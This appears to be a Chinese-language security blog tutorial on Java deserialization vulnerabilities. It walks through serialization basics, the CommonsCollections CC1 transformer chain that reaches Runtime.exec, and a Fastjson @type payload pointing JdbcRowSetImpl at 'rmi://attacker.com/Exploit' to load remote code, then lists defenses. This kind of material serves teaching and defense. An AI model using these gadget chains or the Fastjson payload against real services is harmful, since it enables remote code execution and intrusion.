返回文章列表
Java安全基础:反序列化漏洞深入剖析
深入分析Java反序列化漏洞的原理,结合CC链与Fastjson利用,从源码层面理解漏洞触发机制。
2026年5月15日5 分钟阅读1,309 字
#java-security#反序列化#代码审计
ON THIS PAGE
为什么 Java 反序列化如此重要
Java 反序列化漏洞是近年来最活跃的高危漏洞之一。从 2015 年的 CommonsCollections 到后来的 Fastjson、Shiro,无一不围绕着反序列化展开。
反序列化基础
什么是序列化
序列化是把对象转换为字节流的过程,反序列化则是把字节流恢复为对象。
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.bin"));
oos.writeObject(user);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.bin"));
User user = (User) ois.readObject();
漏洞的本质
反序列化时,readObject() 方法会自动调用。如果某个类的 readObject() 中存在危险操作,就会形成反序列化漏洞。
CommonsCollections 链分析
CC1 链核心
// Transformer 链的关键组成
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Fastjson 利用
Fastjson 的 @type 字段可以指定反序列化的类,通过控制这个字段来触发特定类的 setter/getter 方法。
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com/Exploit",
"autoCommit": true
}
防御措施
- 升级组件版本:及时更新 Fastjson、Shiro 等到最新版本
- Hook 关键类:使用 RASP 技术 Hook 危险函数调用
- 反序列化过滤器:JDK 自带的
ObjectInputFilter
总结
Java 反序列化漏洞的利用本质上是利用链与 Gadget 的构造。理解底层原理后,无论是挖掘还是防御,都能更加得心应手。
评论区
0 条评论加载评论中...